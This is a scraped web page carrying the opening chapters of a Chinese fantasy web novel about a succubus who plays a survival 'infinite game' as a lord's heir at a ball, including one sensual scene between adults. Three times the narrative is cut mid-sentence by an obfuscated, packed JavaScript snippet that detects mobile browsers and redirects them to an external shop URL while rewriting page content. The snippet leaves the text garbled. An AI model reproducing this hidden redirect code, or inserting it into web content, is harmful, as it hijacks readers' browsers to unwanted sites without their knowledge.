《战力爆表,但魅魔[无限]》 1. 领主的婚礼(1) 她在天地轰鸣中醒来。 大脑还在试图理清状况,眼前依然一片模糊,但听觉已经恢复工作。 觥筹交错声中,不知道是谁的水晶杯失手滑落,在地面上被摔成千万片。 水晶的碎裂声,谱成了独独为她奏响的荒诞乐曲,是相见即欢,又像久别重逢。 轰鸣声中,宁汐柔听见一声叹息,一片黑暗里,不知是谁,紧紧抱住她,让她陷入自己怀中。 他仿佛用尽了全身的力气,坚定决绝,要与她的骨血都交融。 一个冰冷的拥抱,她感受到他心跳的震动。 谁? 宁汐柔下意识要睁开眼,却一只大手轻轻覆盖住眼睛。 冰凉的手心,和随之而来轻盈的吻。 他的唇很软,动作青涩却急切,毫无章法,像只用湿漉漉鼻头去蹭主人的狗。 “啪——” 宁汐柔一耳光甩了上去。 她并不讨厌这个初学者等级的吻,放在平时,她甚至会觉得有趣,有点可取之处。 但视觉被暂时关闭这件事,让她感到烦躁。 等,等等,他在干嘛? 顺从地收下这个耳光,男人握住她的手腕,将自己的唇覆上去。 掌心被他高挺的鼻梁划过,宁汐柔不知觉蜷了下手指。 靠!他在舔她的手! 野犬急切地舔吻,试图讨好他无情的主人。 “我们会再见的……” 他的声音沉而重,哪怕是这样急切的低语,也带着古神谕旨般的庄严深邃。 随着那声音的消散,宁汐柔终于睁开眼睛,但身前只是一片空旷。 等等,这是? 在轰鸣声中被冻结的思维终于突破了冰层,宁汐柔意识到自己此刻正身处一个未知空间中。 这里看起来像是某个中世纪时期的舞会,只是远比历史记载中更加奢华。 巨大的双层会场,墙边雕刻着繁琐浮雕,雕塑边缘被覆上金粉,在灯光下熠熠生辉。 抬眼看去,穹顶上布置着无数以白银塑成的花朵,与翡翠雕刻出的绿植相映成趣,犹如一眼望不尽的空中花园。 中庭,水晶灯足有两层楼高,被雕刻成巨树模样,每个枝丫上都放置黄金雕刻而成的油灯。 客人们穿着价值更加昂贵的礼服,在黄金铸就的欢乐场里举杯。 这是哪里? 宁汐柔感到手心一阵滚烫痛意,低下头看到自己手里正拿着一支水晶杯,杯身精雕细刻,是凤凰涅槃重生。 在这一刻,她与这只凤凰共感,身处被浴火焚烧的剧痛中。 但凤凰会重生。 她会被烧死! 宁汐柔下意识就要将手中的杯子松开扔掉——无关思考,只是求生本能。 然而,一声惨叫阻止了她的动作。 “火!这个杯子会烧起来!——啊!!!” 一个穿着礼服的中年男人将手中的银杯摔在地上,在他哀嚎声响起的一瞬间,不知道从哪里冒出来数个白衣覆面人,以极快地速度将他围起来,拖了下去。 他们的动作实在太快,几息之间,这场未起的骚乱便消失无踪。 宁汐柔从他们衣摆的缝隙,看见那中年男人的手上遍布血痕,无声无息地垂下来。 应该是活不成了。 她的意识在疼痛下清醒过来。 要扔掉吗? 不行。 扔掉杯子的动作在舞会太突兀了。 ——况且,她看到了这么做的下场。 那怎么办? 宁汐柔强忍着那蚀骨烧心的疼痛,端起酒杯,环视四周,很快,目光锁定了一个方向。 那是一个端着托盘的侍者,长相俊美,身材挺拔,正朝着她走过来,在她面前俯身,笑容柔和,姿态谦卑。 宁汐柔神色自若地将水晶杯放在托盘上,礼服袖口的蕾丝层层叠叠,遮住了她的手心。 “方才只是一个混进来的恶魔眷属,已经被处理好了,您不必担心。” 侍者带着白手套,端着托盘,对宁汐柔小声说。他的声音也很好听,声音压低时,更有种说不出来的意蕴绵长。 “另外,长老会已经决定将您的婚礼定在七日之后,与您的成人礼一起举行。” 什么恶魔眷属?什么婚礼? 宁汐柔完全没听懂,但这不妨碍她故作高深地点点头。 “我知道了。” 侍者端着水晶杯离开,宁汐柔借着袖子遮掩,摸了摸左手。 她的整个掌心几乎被溶解,露出黑色的骨骼,里面却没有一滴血液。 随后,几乎是比肉眼能观察到的速度还要更快,伤口中的血肉蠕动着,重新愈合起来,覆盖伤口的地方长出一层薄膜,逐渐变得厚实柔软,化成了人类肌肤模样。 宁汐柔看着自己手心一片完好的肌肤,想起侍者刚才说的“恶魔眷属”,忽然笑了下。 她还真是。 不过,不是眷属,是恶魔本身。 宁汐柔,是一只生活在人类社会的魅魔。 在黑暗种族中,魅魔一族在防御力上是弱势,但自愈速度一骑绝尘,只要有一口气,就死不绝。s 据说那些最强大的魅魔,即使死了,也能维持住自己的核心不散,以另一种方式转生。 不过,这些离宁汐柔这个刚脱离幼年期的魅魔,还是太遥ss了。 接下来怎么做? 宁汐柔现在手里的有效信息实在太少,她只知道自己莫名其妙来到了一个陌生的舞会里,穿着繁琐华贵的礼服。 而这里的水晶杯是被加注了特殊力量的,可以灼伤恶魔及其眷属。 她现在还不能确定这股力量的来源是什么,但毋容置疑的是,这股力量足够强大,刚刚步入成年期的宁汐柔还不足以正面对抗。 [叮咚——] [副本开启三分钟,恭喜您进入隐藏副本!玩家身份已确认,触发系统福利大礼包!] [福利抽取中——] [恭喜您获得:特殊身份卡X1!] 一个带着机械无机质的声音在她耳边响起,又或者是在脑海中。与此同时,她感受到手心被放置了什么东西,低下头一看,是一张黑色镶金的卡片: [姓名:德洛丽丝] [身份:德伦郡领主继承人] [任务:成为这里真正的主人吧,你本该如此。] [倒计时:7:00:00:00] 在宁汐柔目光触及的一瞬间,卡片上的倒计时开启了。 七天…… 和刚才那个侍者说的婚礼暨成人礼时间一致。 宁汐柔看着卡片缓缓融入手心。 全场除了宁汐柔之外,似乎没人能听见这个声音。 又或者,每个人能听见的声音都不一样? 她的目光平静地扫过每个人,还真的发现了几个神色不对劲的。 他们看起来也是现代人。 宁汐柔思索。 虽然在场的所有人都穿着风格统一的礼服,但是人的动作和神态不会随着衣服而改变。 尤其是习惯了轻薄方便衣物的大部分现代人,一下子被套上重了十倍不止,束缚感指数级上升的礼服,以平常动作幅度行动这件事,会突然变得很困难,动作很难马上协调自如。 即使他们能快速反应过来自己所处环境的改变,遮掩神情和目光,但是动作却没办法马上改变。 宁汐柔能瞬间融入环境,是因为对她而言,“拟态”已经是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284805|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种本能,模仿对象的改变,不会对本能产生什么影响。 不过她判断的最大依据,是他们的动作:他们要么看向手心,要么刚刚从那里收回视线。 看来他们也收到了自己的身份卡。 集体穿越吗? 看上去好像是这样。 那个系统音提到了“副本”,“玩家”,“身份卡”之类的词。 不难推断,这个舞会应该就是“副本”,只是副本的范围,究竟是限于舞会,还是会扩展到身份卡中提到的德伦郡,还需要更多信息印证。 “所有能听见我声音的人,舞会结束后,在左侧门集合。” 一个沉静的女声在舞会中响起。 这声音不大,绝算不上高声呼喊,但声音中却有种自信,似乎她确信自己的声音可以被所有人听见。 这是一个发布者未知的召集令。 也是一道考题。 宁汐柔想。 虽然只是一句话,但其中蕴含的信息量并不小。 既然有“能听见声音的人”,就势必有不能听见声音的人。 这个限定语的出现,自然不是为了避开听不见的人——都听不见了,说什么都没有意义。 而是为了让所有听见的人意识到,这是一个非公开范围信息,所以他们要保持状态镇静,不能被那些听不见的人发现异常。 这是第一关,考思考速度。 已知大概率玩家们都有着自己的身份卡。 如果宁汐柔面临的是大多数玩家们都要面临的情景——没有前情提示,没有对副本任何认知,那么这句话中的时间限定:“舞会结束后”,就意味着玩家们必须在舞会结束前,不能露出马脚,被发现他们外来者的身份。 这是第二关,考伪装能力。 对于地点的限定词也是一个难点。 他们现在身处一个宴会厅中,会场只能用巨大来形容。这样大的场馆不可能只有一个出入口,也不可能所有出入口都对来宾开放。 所以玩家们需要在舞会结束前找到左侧门,并且知道左侧门是否可供出入、逗留。如果左侧门是一个不对来宾开放的出入口,又如何不引人注意地留在那里? 这是第三关,考的是包括信息检索能力在内的综合能力。 对于发出召集令的人来说,她只需要能够通过这三关的玩家,也只允许能够通过这三关的玩家来到自己眼前。 但这句话对宁汐柔最大的冲击不是这个。 而是那个人本身。 因为她必须已经做到了以上所有内容,所以才能用这样的方式考验别人。 而这一切,对她来说,只需要副本开启后的三分钟。 宁汐柔知道自己肯定算是新玩家——毕竟她对这里可谓是一无所知。 那么,那个发召集令的人是老玩家吗? 自己又要不要去左侧门,响应那个召集令? 但宁汐柔知道自己的状况和普通玩家又有所不同。 她手里拿着的是特殊身份卡。 虽然她现在还不知道这个卡到底特殊在哪里,但若是被其他人知道了这份“特殊”,难保不会怀璧其罪。 毕竟现在,她对这些副本可以说是一无所知,对老玩家群体的行事作风更加是没有概念。 但从一开始那个把她手心都要烧化了的水晶杯就知道, 这可不是什么和现代社会一样的安全桃源。 宁汐柔思索着,无意识走到了窗边,在风和叶子的声音中,听见金属相撞的泠泠声。 她低头看去,是一个穿着骑士服装的高大女人,正站在花园的拱门下,也对着宁汐柔微笑。 女人无声启唇,宁汐柔看得懂了她的口型: 【你好啊,特殊身份卡。】 2. 领主的婚礼(2) “大人。到您致辞的时间了。这是长老会送来的发言稿。” 刚才的侍者走到宁汐柔身后,恭敬地弯腰行礼。 宁汐柔收回视线,假装没有看见楼下的骑士装女人,也没有给对方任何回应。 对方一上来就知道了她拥有特殊身份卡的事实,而她则对对方一无所知。这种信息上的不对等,让宁汐柔不打算在这个阶段就和对方开启对话。 “我致辞?” 她抬手接过演讲稿,反问。 ——对话敷衍大法其一:当不知道怎么接话时,重复对方说过的内容,以达到让对方自行解释的目的。 与此同时,她抬眼打量着眼前人。 宁汐柔这才发现他身上的衣着虽然和宴会上的其他侍者风格相似,但整体的剪裁设计都更高出一个档次,连袖扣上的装饰,都是真正的宝石。 如果说其他侍者穿着的是统一制服,那么他身上的,则更像是私人订制后的正装。 但这不是他最突出的地方。 他最和其他人不一样的地方是……长得太好看了。 高而挺拔,礼服勾勒出劲瘦腰线,长发银白中泛着极淡的蓝,反衬出他墨蓝眸色,仿佛极精粹的宝石,幽深锐利。 仔细一看,他五官是极锐的美,眉骨锋利,鼻梁高挑,一双凤眼睥睨,如闪着寒光的利刃般,是足以刺穿视线,在脑海中留下血与痛,令人颤栗的姝色。 可此刻,他弯腰俯身行礼,是甘愿臣服取悦于她的姿态。 墨发扎起,只留下一缕,落在脸颊边,打破了眉眼间寒光锋芒,一副银框单边眼镜把这份锋华锐气之美,化作礼物华丽的包装,等着主人开启享用。 “我知道这样的情况不是您期待的,但还请您暂且忍耐。您会获得你想拥有的一切的。” 他的声音如长相一般,锐气十足,却被主人压制成温和柔软的音调。 对于魅魔宁汐柔来说,这个青年不管是看上去还是听上去,都十分—— 美味。 “哦?你怎么确信的?” 她笑了下,打量着他的脸,舔了下自己犬齿。 啊,饿了。 “因为忠诚的伊卡瑞斯,会为他的主人解决前进路上所有的绊脚石。” 侍者,或者说伊卡瑞斯微笑着说。 被这样的人臣服,真是会带来一种无与伦比的快.感。 宁汐柔心情颇好,抬头勾住伊卡瑞斯的下巴,指尖在他的肌肤上不轻不重地摩挲了一下。 青年顺从地将脸颊贴在她的掌心里,很轻地蹭了蹭,像只乖巧小犬。 “时间到了。” 他几乎是恋恋不舍地抬起头,方才的驯服化作恭敬,从依恋主人的小犬成了忠诚的下属,领着宁汐柔走到了二层栏边,抬起水晶杯,用银叉子敲了敲,将所有目光吸引到宁汐柔身上。 比起舞会侍者,他更像是贴身男仆这一类角色。 说什么? 宁汐柔看着手中那份来自“长老会”的发言稿,有一瞬犹豫过要不要照着念。 但很快,她想起方才伊卡瑞斯的话,很明显,领主继承人“德洛丽丝”和长老会,不像是站在同一阵营。 再加上任务内容很明显写着,她要成为真正的领主,就说明她现在还不是真正的掌权人,有什么阻碍摆在她面前。 什么阻碍呢? 要么是其他继承人,要么就是这就是这个“长老会”了。 身份卡上的描述,德洛丽丝是继承人,而不是“继承人之一”。 所以,只能是长老会。 动物不会和阻碍自己获得更多生存资源的一方站在一起,他们只会成为敌人。 互相撕咬,不死不休的敌人。 德洛丽丝是一个什么样的人? 她是会对敌人迂回配合,选择蓄精养锐,最后击破,还是会直接正面对抗,即使双方的力量不对等,也不肯让自己受一点委屈? 宁汐柔是第一种人,她笃信唯结果论,为了获得最终的胜利,途中的一切退让和舍弃都是有意义的。 但德伦郡未来的领主大人…… 一身华服锦簇的少女站在高台之上,抬手,面无表情地将手中的演讲稿撕开。 两片,四片,碎片。 宁汐柔手上动作不停,目光环视,看见了几个老者脸色铁青,满意地笑了。 找到了,敌人。 她抬手,将手中演讲稿的残骸往二楼扔下去,无数碎片从空中散落,向下飘去。 这是宣战号角,无声,又震耳欲聋。 宁汐柔会迂回,会以退为进,但德洛丽丝不会。 否则,伊卡瑞斯没必要特意几次提醒她“暂且忍耐”。 这位领主继承人,不是会忍耐的人。 “哎,果然是您会做的事。” 伊卡瑞斯站在她身后,脸上露出一种颇为有趣的神情,自然是无奈先浮现,可这无奈中又带着笑意无法掩饰。 他明知会有这一幕,他也乐见这一幕。 他迷恋着这一幕。 他单膝跪下,为宁汐柔双手奉上黄金酒杯。 在宁汐柔接过酒杯的瞬间,水晶灯上的黄金灯盏爆裂燃烧,火光腾空而起,引起一阵惊呼。 穹顶上的空中花园散开,千万白银花朵自天空降临而下,成了一场极尽奢华的雨。花朵落在宾客手中,薄如蝉翼的花瓣散落,只余下钻石戒指制成的花蕊。 再抬眼,穹顶中悬挂着的翡翠,拼成一个字体华丽张扬的名字: *Dolores* “七天之后是德洛丽丝大人的成年礼。诚挚邀请诸位前来观礼,您手中的戒指,就是邀请函,请务必不要遗失了。” 伊卡瑞斯起身,向着楼下中庭的宾客们宣告。 他抬手接住一朵坠落的花朵,奇异的是,这花朵在他手中并未散落花瓣,维持着原本精致华美的模样,被佩戴在胸口的位置。 “你准备了这一切?” 宁汐柔看着眼前的致辞宣战变成舞会高潮,轻笑了一声。 她没判断错,德洛丽丝果然不是个会隐忍退却的人,伊卡瑞斯也早知道会有这一遭,并且做出了相应的布置。 能做出这样的布置安排,也彰显了伊卡瑞斯对于这场舞会,或者说整个领主庄园内部的控制力有多强。 但他的控制力,又是否完全服从于他的主人德洛丽丝呢? “忠诚的男仆,理当让主人尽情玩耍,并且做好善后。” 伊卡瑞斯微笑着回答。 “别忘记了,七日之后,也是领主继承人的婚礼。” 一个苍老有力的声音响起,说话的是一个白发老者,他身材健硕,手中撑着装饰意义远大于实际用途的拐杖,拐杖手柄上雕刻某种动物的头颅。 宁汐柔看不出来那是什么动物,但下意识皱起眉。 那个兽首让她本能地感到不适。 “根据继承法规定,领主继承人必须在结婚后,才能举行成人礼,正式继承爵位,成为德伦郡的领主。在这之前,对于德伦郡的管理,暂由长老会代为执行。” 老者从舞会的另一边缓步走来,他所经之处,人群摩西分海一般为他散开,他明明是抬头看着宁汐柔,气势却不见半点下风。 “长老会尊重您自由选择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284806|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结婚对象的权利。但如果在七日之后,您依然没有心仪的人选,那么为了保证成人礼的顺利进行,长老会会为您选择一位合适的丈夫。” 七日,和身份卡上的倒计时相吻合。 老者必然是长老会成员,他没必要在这样的场合下说假话,所以这个法律规定可以认定是真实的。 这就是任务的意思吗? 完成成人礼,结婚,成为德伦郡的领主? 但领主,就是真正的主人了吗。 宁汐柔摸摸思索着,没有给出反应。 笑话,刚才都手撕演讲稿,直接和长老会宣战了,现在有什么和长老会成员和平沟通的必要? “舞会结束,处理干净。” 她转过身离开,只留下一句话给伊卡瑞斯。 该响应召集令了。 宁汐柔来到骑士装女人所在的地方。 这时距离舞会结束还没多久,但这里已经聚集了几名明显是玩家的人。玩家们都是宾客的装扮,见到宁汐柔也来到了这里,纷纷睁大了眼睛,低语起来。 “这是刚才站在二楼致辞那个人吧?” “她是领主继承人吧?” “我还以为她是这里的人,完全看不出来……” “这么重要的角色,怎么可能是玩家?” “来了。” 女人正懒洋洋地靠在墙边,见到宁汐柔前来,掀起眼皮,和她打招呼。 看来她的推论没错,能够一眼点出她拥有[特殊身份卡]的人,就是发布召集令的老玩家。 直到现在,宁汐柔这才有时间仔细打量她。 她面容硬朗,个子高大,比身高一米七的宁汐柔高出半个头不止,估计要有一米九往上,身材健壮,身躯中蕴含的爆发力足以撑起铠甲。 一看就是一个很可靠,很能打也很抗揍的人。 唔,脑子也够用。 想起召集令中蕴含的考验,宁汐柔在心里默默加上这个评价。 “好了,到齐了。” 女人站起来,打了个哈欠,走到宁汐柔身边,伸出手。 “认识一下,我是离秽,玩家排行榜37名。很高兴见到你。” “宁汐柔。” 宁汐柔伸出手,和她交握。 和自己截然不同的触感。她的手大而有力,骨节分明,手心和关节处都有很厚的茧子,掌心温度烫得宁汐柔不自觉将手往回缩了一下。 “该来的人都来了,我们换个地方说话。” 离秽一把握住宁汐柔的手,拉着她往花园里走,全然没有理会其他几个正要开始自我介绍的玩家。 “离大佬是这样的,她不喜欢浪费时间,如果你们活过这个副本,她可能会有兴趣知道你们的名字。” 人群中,有老玩家解释给其他人听。 玩家们中虽然有些低声议论,但是能找到这里来的玩家,尤其是新玩家,都不是傻子,自然也知道现在不是在乎这些小事的时候,赶紧跟住离秽这个大腿才是要紧事,于是也都安静跟了上去。 最前边,宁汐柔被离秽牵着,倒也没急着开始说话。 离秽更是姿态悠闲,闲庭信步,说是在自己家花园里散步也不为过了。 “你好像不好奇,我为什么对你这么特殊?” 离秽笑着问。 她长相硬朗,但笑起来的时候神情坦率洒脱,无端有种让人不自觉卸下心防的力量。 “因为我是特殊身份卡玩家?” 宁汐柔也没藏着掖着,直接问她。 听到这句话,离秽又笑了,摇摇头。 “不,因为你。因为你是你。” 3. 领主的婚礼(3) 什么? 什么叫因为她是她? “你认识我?” 宁汐柔显然没意料到这个回答。 宁汐柔记忆力很好,恶魔的记忆力都很好,祂们会记得自己出生之后所经历过的所有事情。 所以她确信离秽这个名字,这个人,都从未在她的生命里出现过。 “我不认识你,之我们之前也从来没见过,不管是在这里,还是在现实世界。” 离秽摇头。 “但是我在之前一个副本里看到过一些东西,所以我相信,‘宁汐柔’是能带我走出去的人。” “走出去?这个副本吗?” 宁汐柔重复了一遍这三个字,没有掩饰自己的疑惑。 “不,不只是这个副本,是从这里,这个诡异的无限游戏。” 离秽脸色沉静,声音也低下来,凝重而压抑。 “这个副本,只是一切的开始而已。” 在现实世界中意外死亡的人,会被拉入这个无限游戏里。 游戏由无数个副本构成,每个副本的设定、故事、任务都不相同,唯一共同点是: 它们无一例外,都是玩家绞肉机。 这个叫法不是苦中作乐的地狱笑话,而是玩家们被捶打到绝望后的无可奈何。 没人知道无限游戏到底有多少玩家,他们出现得太快,又消失得太快。 系统曾经因为一次新手副本的存活率超过10%,下发过全服大礼包。 而这样的大礼包,离秽在无限游戏里呆了超过十年,只碰见过这一次。 “对于大部分玩家来说,新手副本会是他们经历过最困难的一个副本。” 离秽说。 所有的玩家都是在死后无知无觉的状态下来到无限游戏,突然被投放进副本里。 他们不知道自己身处何地,不知道自己身上发生了什么,更不知道自己面临着怎样的危险,又怎么样才能在那些疯狂的怪物、诡谲的规则、噬人的陷阱中活下去。 很多新人玩家即使在通过副本之后,也没弄清楚自己是怎么活下来的。 也有更多的新人,带着这份迷惑和惊惧死去了。 “不过,在活过新人副本,进入服务器之后,情况会稍微好一点。不多,就一点。” 离秽又说。 实际上,新人玩家只是一个方便的代称,在系统眼里,新人副本中的玩家们,并不被承认是正式玩家,他们只有在活过新人副本之后,才会有进入“无限游戏服务器”的资格。 进入服务器之后,玩家们才算是得到了身份认证。 得到认证之后,玩家可以开启点数系统。 据离秽所说,这算是这个无良游戏里的最后一点人性:点数系统拥有智力、体力、耐力、魅力四个基础属性。 每次通过副本,玩家会根据游戏评级获得不同的点数可供分配,提升点数,就是提升玩家个人实力,提高他们在下一个副本的生存能力。 “不过是,这是普通新人需要走的路子。你们这些从特殊副本进来的新人,启程的方向,会稍微不同一些。” 离秽停下脚步,看着宁汐柔。 她没有刻意放低声量,所以那些一直不远不近跟在他们身后的玩家,也都能听见她在说什么。 点数系统之所以重要,不仅仅在于那些基础属性。还有一个最不可忽视的:个人技能。 在玩家的基础点数总和达到某个数值之后,点数系统会自动升级,开启个人技能板块。 这些技能根据玩家自己的特质或者能力生成。 每个玩家所拥有的技能都不一样,威力和效果各异,有的强到足以让他们在服务器成为一方霸主,有的只能让他们在煮泡面的时候不怕找不到调料包。 但无论如何,在这些步步陷阱,处处危机的副本里,多了个技能,有时候和多了一条性命没什么区别。 “特殊副本的新人特殊在于,虽然都是意外身亡的人,但你们普遍能力都远超普通玩家,一旦通过了特殊新手副本,进入服务器,不需要等待点数系统升级,就可以开启个人技能。 所以,很多玩家组织会使用道具,派人进入特殊副本,确保他们可以提前蹲守到好苗子。” 离秽说到这里,脸上的笑容愈发爽朗。 “当然,还有一个就是,如果遇到了很好的苗子,却不能带到自己身边……虽然很遗憾,但也只能先处理干净了,免得以后成为棘手的敌人。 自我介绍一下吧,我来自公会排行榜第七名的[回程],目前的职务是会长。” 随着她的话语,在场玩家的脸色都变了,能找到这里的都是聪明人,自然不会听不出来离秽这话什么意思。 宁汐柔也不例外。 离秽甚至没有试图隐瞒,她就是要这里所有新人玩家跟随她。如果有人提出异议,她下手处理之前,显然不会顾忌什么仁义道德。 或者该问的是,在无限游戏里,这些东西,真的还存在吗? 果然啊,人类的世界里,没有免费的帮助。 宁汐柔对自己说, 在这个无限游戏里,连老玩家的世界观讲解都是需要用卖身契做报酬的。 她之前的判断没有出错,离秽这个老玩家不仅强大,而且十分令人棘手。 想到这里,宁汐柔不禁勾唇,眼中泛起兴味。 她的眼睛是极少见的纯黑色,浓郁至极的黑色中,泛着不易被察觉的深红,犹如孕育着宝石的深渊。 从和她见面到现在,离秽所做的事,所说的话,看似随性,但其实自有章法,更有目的。 一开始,离秽就表现出对宁汐柔的亲近和重视,甚至单单只听了她一个人的名字,就是在昭告其他玩家,宁汐柔是特殊的,重要的。 这是示好不错,但也是一个预防针。 如果离秽说的是真的,对她来说,宁汐柔对她来说很重要,甚至她认为,宁汐柔是可以带着她离开这个无限游戏的人。 那么一个久经生死的老玩家,会选择怎样抓住自己的“生死牌”? 坦诚相告,将自己的弱点和盘托出,以真心换真心? 还是……趁着对方还没有强大起来,将人牢牢握在自己手心,控制,洗脑,圈养? 宁汐柔不知道别人会怎么做,但她知道,自己会选择后者。 离秽呢? 宁汐柔一开始考虑过把自己隐藏起来。 毕竟领主继承人这个身份特殊得太明显了。稍微有点脑子的都能看出来,宁汐柔拿到的绝不是普通玩家身份卡。 她猜到了如果自己现身,可能会引来注视和觊觎。 但在这样的游戏里,情报比什么都重要。 如果这个副本里只有宁汐柔一个人,她可以慢慢探索,谨慎求证。 可在遥遥初见时,离秽已经直接点明了自己知道宁汐柔的玩家身份,和她身上的特殊身份卡。 而离秽又是一个肉眼可见的强大老玩家。 这个时候,这个环境,不主动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284807|152026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出击,就等于原地等死。 宁汐柔做不来这种事。 如果说她最开始还有些犹豫,那么伊卡瑞斯的出现,则是给了她某种底气。 她当然不会一上来就彻头彻尾相信副本中出现的人物。 尽管姿态放得极低,但伊卡瑞斯的强大毋庸置疑,他对这座庄园的掌控力和宁汐柔身份卡“德洛丽丝”的了解也不容小觑。 反观宁汐柔,她对伊卡瑞斯的了解和控制都近乎于无。 她怎么敢? 因为欲望。 哪怕以最谦卑的弧度弯下腰身,她依然在伊卡瑞斯眼中看见了那浓郁到粘稠,被拼命压抑着又即将爆炸倾泻出的,对她的欲望。 而魅魔, 是玩弄欲望的天才。 美丽的身躯和面孔,宁汐柔见过太多,她当然喜爱着美丽,享受着鲜活的肢体与血肉交缠。 但只有漂亮的皮囊,不足以成为令魅魔满意的盘中餐。 这世上唯有一样东西能让皮囊焕灿生姿,融入灵魂中,化作养料,也化作腐朽的源头,将人心的情与爱,恨与痛,都成为无与伦比的珍馐佳肴。 欲望。 这一味以灵魂为引的调味品,为所有美丽的皮囊与血肉点睛。 以欲望为丝线,这世界是她的傀儡舞台。 “离秽姐。” 宁汐柔站在原地,看着和自己不过三步距离的高大女人,声音可以用甜美来形容,兴味和好奇心被毫不掩饰地掺杂在其中。 “我能问你个问题吗?” “如果老玩家死在特殊副本里,我们获得的点数会更多吗?” 她笑着问,瞳孔中带着如同稚童一般,不被任何情绪污染的,纯然的恶意。 没有理会其他玩家的反应,离秽看着宁汐柔的眼睛,良久,忽然大笑出声,回答的声音依然爽快响亮,有股子坦荡洒脱,甚至是一种难以掩饰的迫切期待在里头: “当然!” 玩家之间的聚集在一阵静默中散去,宁汐柔的问题显然震惊了除离秽之外的所有玩家。 当然,他们的震惊与无言,或许也只是一种回避站队的技巧,毕竟现在离秽的注意力现在被宁汐柔夺去。 都是聪明人,玩家们现在并不打算要将这份注意力抢过去。 宁汐柔回到会场,伊卡瑞斯显然已经在那里等候多时了。 他手臂上挂着一件披风,以织金绣成,是很古朴的款式,上面的宝石依然流光溢彩,但依然比不上他肌肤在月光下的柔润质感。 “您的散步还愉快吗?” 他问着,为宁汐柔披上披风。 不止有意无意,他的指尖顺着披风,抚过她的颈侧,与想象中一样,是月光般的微凉。他走在落后宁汐柔半步的位置,为她引路。 “还好。” 宁汐柔没多说什么。她现在需要思考的东西太多了,一时间脑子有点乱。 作为德伦郡领主继承人,德洛丽丝拥有一件宽敞奢华的卧室。 此刻,卧室内的灯光被设计得暗而柔和,油灯的光晕映照在伊卡瑞斯的脸颊上,犹如丝绸般。 一片静谧中,只有油灯燃烧的噼啪声,与心跳的节奏相应和。 他走到宁汐柔身前,缓缓双膝跪下,那双总带着笑意的薄唇微微睁开,咬住她腰间裙摆的扣子。 “看来我的主人,需要一些舒缓心情的娱乐活动。” 那双墨蓝色的眸子里,欲与爱缠绵,燃烧。 焚之不尽。 4. 领主的婚礼(4) 野兽一般不会在陌生环境中觅食,这是危险的行为。 但是不狩猎,不代表要拒绝送到嘴边的佳肴。 月下美人,风情万种,如何推拒? 况且,她饿了。 宁汐柔伸出手,指尖滑进伊卡瑞斯发间,银发顺从地散落在她掌心,胜过月华波光。 月光抚过他眉眼,墨蓝色的眸子里只映着高高在上的那个人。 犹如引颈受戮的小兽般,他抬手解开自己的领口,露出光洁的肌肤,蛰伏在其下的肌肉彰显着那份不可小觑的力量,连锁骨的弧度都是恰到好处,多一分过刚,少一分太柔。 弱者的俯首大多无趣,唯有猛兽的臣服,才足够让心潮澎湃。 真是无论看了多少次,都无法忽视否认的美。 宁汐柔的手顺着他脸颊轮廓下滑,是比夜色更冰冷的温度,却让他整片肌肤泛起不可抑制的情潮欲色。 更漂亮了。 她呼吸的节奏不自觉地加快。 看似繁琐的礼服长裙被男仆修长灵活的手指解开,层层叠叠蕾丝散落在脚踝,他的吻随着房间内的欲潮攀升。 宁汐柔倚在梳妆台上,用膝盖去碰他的脸颊,引来一个比蝴蝶降落更轻的吻,温热的舌尖留下一点濡湿,柔而缓,又不可退却的。 是云雨风起,花丛淋漓,凝露挥毫,不见天地,唯见她。 雨后的气息在室内蔓延,抬眼,见明月高悬。 宁汐柔仰起头,露出修长脖颈,上面的一点薄汗,随着呼吸,在月色中起伏,带着餍足的慵懒。 “我安排的娱乐活动,您还满意吗?” 伊卡瑞斯一向压得柔和的声音,此刻带上了渴意,他抬手,修长的手指抚过自己的唇瓣,仿佛依依不舍。 “祝您好梦。” 他伸出舌尖,舔去指腹上的残余,露出一点笑意。与穿着男仆制服时不同的笑容,撕扯下伪装的猛兽,不再掩饰自己对欲与爱的渴慕。 随着伊卡瑞斯的离开,室内的空气重归于静谧。 他走之前,将宁汐柔抱到了床上。此刻,宁汐柔躺在柔软的床铺里,觉得心情不错,懒洋洋打了个哈欠。 和某些猎奇的幻想不同,魅魔真正的食物,是欲求。 欲,并不只指那些旖旎绮丽的东西,也可以是爱恨,是野心,是贪念,是人为止渴求,牺牲,付出的一切。 感受到魔力的再次充盈,宁汐柔看着天花板上绘制着的壁画,默默回想着今天发生的一切。 根据离秽提供的信息,宁汐柔已经大体对副本、玩家、无限游戏这部分的设定有了概念。 虽然对于身份卡中的任务目标[成为真正的领主],她总觉得这其中,会有些暗藏的陷阱等待,至少也算是有一个可供探索的方向。 